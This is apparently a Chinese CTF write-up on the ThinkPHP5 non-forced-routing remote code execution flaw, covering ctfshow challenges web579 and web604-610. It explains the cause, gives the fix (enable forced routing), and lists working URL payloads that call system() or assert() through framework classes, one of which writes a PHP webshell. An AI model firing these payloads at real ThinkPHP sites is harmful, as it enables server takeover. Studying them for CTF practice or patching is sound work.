目录

非强制路由RCE漏洞

web579 

web604 

web605 

web606

web607-610


前面审了一些tp3的sql注入,终于到tp5了,要说tp5那最经典的还得是rce

下面介绍非强制路由RCE漏洞

非强制路由RCE漏洞原理

非强制路由相当于开了一个大口子,可以任意调用当前框架中的任意类的任意方法并传参。

下面是该漏洞的利用条件:

 【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP

【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP

要修复这个漏洞非常简单,启用强制路由即可

很简单的道理,举个例子

index模块下控制器定义一个Address类,类里定义一个search()方法,并定义响应的路由访问+传参。

【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP 【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP

可以/search/5/4访问并传参

 【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP

 因为没有开启强制路由,所以下面这种方式可以达成一样的效果

?s=index/Address/search&id=5&uid=4 

【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP

 

而且当前框架中的任意类的任意方法都是可以被直接调用的,所以我们只要找到恶意类的恶意方法传参即可,试着拿一个payload弹一个计算器,成功。

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP

ok我们已经实现了从0到1的突破了,剩下的就是各种payload的积累

从payload反推是很容易的,下面不再演示

贴出一篇文章

ThinkPHP5框架缺陷导致远程命令执行 

先介绍一个通杀解:

利用\think\view\driver\Think类的__call方法

【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞-LMLPHP

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>

web579 

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

web604 

?s=index/\think\Request/input&filter[]=system&data=tac /f*

web605 

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php system('tac /f*');?>

web606

invokefunction大写即可

?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

或者:

?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('tac /f*');

web607-610

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>
12-30 19:22